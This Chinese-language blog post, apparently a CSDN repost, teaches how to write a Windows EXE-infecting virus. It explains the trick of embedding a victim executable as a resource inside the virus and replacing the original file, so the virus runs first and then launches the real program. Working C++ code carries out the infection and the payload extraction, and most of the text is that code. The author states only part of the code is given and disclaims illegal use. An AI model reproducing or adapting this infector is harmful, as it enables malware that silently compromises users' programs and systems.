【EXE】关于病毒功能的简单剖析。

来源:互联网 发布:数据压缩算法的程序 编辑:程序博客网 时间:2024/05/18 12:30

也许很多人都认为编写病毒十分困难,其实并不尽然,然而可以说病毒最有价值的地方只有两个:
1.在于作者赋予的强大漏洞利用。
2.在于其强大的传染能力。
那么,现在讲的就是EXE病毒的感染。
要想感染,就是企图将病毒的代码插入到别的EXE中使得打开EXE就相当于打开了自己。
网络上有些方法是通过给pe文件加节的。
对于PE文件的结构要有很好的理解,不然很难写出来,所以我们不学这种,学习另一种。

Exe文件都有资源,储存在EXE文件内部,比如说一些图片,如图标。
图标是二进制文件,同样的一个EXE文件也是一个二进制文件,要想感染文件,不如尝试一下让别的EXE感染我们的文件吧!

那么如何实现,其实我们可以先将自己的EXE复制一份,然后将目标文件当做资源注入到自己的EXE文件中,再将处理过的EXE文件替换原来的正常EXE就行了,那如何实现运行后将程序交接给原程序呢?我们可以这样:在运行时先执行自己的EXE病毒代码,再将真正的EXE文件吐出来并运行。

总的来说,就是将源文件吞入,在以自己替换原来的文件。
打开时其实是运行的是自己,运行完后才运行原来的程序。

容易理解吧!
直接上代码,其实windows实现了几个厉害的API;
BeginUpdataResource
这里写图片描述

void KillExeFile(char *str)  //感染目标文件 str为路径{    /*for(int i=0;i<=strlen(str);i++)        if(str[i]=='$')            return ;    */    if(isKill(str))    {        printf("Killed\n");        return;    }    DWORD dwFileSize,dwBytesRead,dwRet;    HMODULE hLib=LoadLibraryA(str);  //载入目标文件    HRSRC HResource;    PBYTE lpBuffer;    char This_File[256],TempFile[256];    dwRet=GetTempPath(0,NULL);    memset(This_File,0,256);memset(TempFile,0,256);    GetTempPathA(dwRet,TempFile);    GetModuleFileNameA(NULL,This_File,256);    strcat(TempFile,"\explorer.exe");    CopyFileA(This_File,TempFile,false);   //复制到临时文件夹    if(hLib==NULL)        return ;    HResource=FindResource(hLib,MAKEINTRESOURCE(233),RT_RCDATA);  //查找资源233    if(HResource!=NULL)    {        FreeLibrary(hLib);        return ;    }    HANDLE hFile=CreateFileA(str,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);    if(hFile==NULL) return ;    dwFileSize=GetFileSize(hFile,NULL);    lpBuffer=new BYTE[dwFileSize+1];    if(ReadFile(hFile,lpBuffer,dwFileSize,&dwBytesRead,NULL)!=false)  //读取目标文件    {        //WideCharToMultiByte        wchar_t* buffer=CharToW(TempFile);        HResource=(HRSRC)BeginUpdateResource(buffer,false);  //开始更新目标文件的资源        if(HResource!=NULL)        {            UpdateResource(HResource,RT_RCDATA,MAKEINTRESOURCE(233),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),(LPVOID)lpBuffer,dwFileSize);   //更新            EndUpdateResource(HResource,false);  //结束        }        delete [] lpBuffer;        FreeLibrary(hLib);        CloseHandle(hFile);        CopyFileA(TempFile,str,false);        DeleteFileA(TempFile);        //system("del /q D:\\explorer.exe");        return ;    }    else    delete [] lpBuffer;    FreeLibrary(hLib);    CloseHandle(hFile);    DeleteFileA(TempFile);    //system("del /q D:\\explorer.exe");    return ;}int ResourceWriteToFile(LPCTSTR outFile,LPCTSTR resName,LPCTSTR type) //将资源释放{    HRSRC hResInfo=FindResource(NULL,type,resName);    if(hResInfo==NULL)    {        return 1;    }       HGLOBAL hRes=LoadResource(NULL,hResInfo);    LPVOID pData=LockResource(hRes);      DWORD size=SizeofResource(NULL,hResInfo);    HANDLE file=CreateFile(outFile,GENERIC_WRITE | GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);    if(file==INVALID_HANDLE_VALUE)    {        return 2;    }    DWORD nByteWrite;    WriteFile(file,pData, size,&nByteWrite, NULL);     CloseHandle(file);    return 0;}void create_pro(TCHAR *Name){    STARTUPINFO ki;    memset(&ki,0,sizeof(STARTUPINFO));    ki.cb=sizeof(STARTUPINFO);    ki.dwFlags=STARTF_USESHOWWINDOW;    ki.wShowWindow=SW_SHOW;    PROCESS_INFORMATION gi;    CreateProcess(Name,NULL,NULL,NULL,FALSE,0,NULL,NULL,&ki,&gi);}void main(){    if(ResourceWriteToFile(b,RT_RCDATA,MAKEINTRESOURCE(233))==0)         create_pro(b); //创建进程}

由于安全考虑,此处只给出部分代码。
本文用于学习与交流,
若有用于违法活动,与CSDN及本人无关。

原创粉丝点击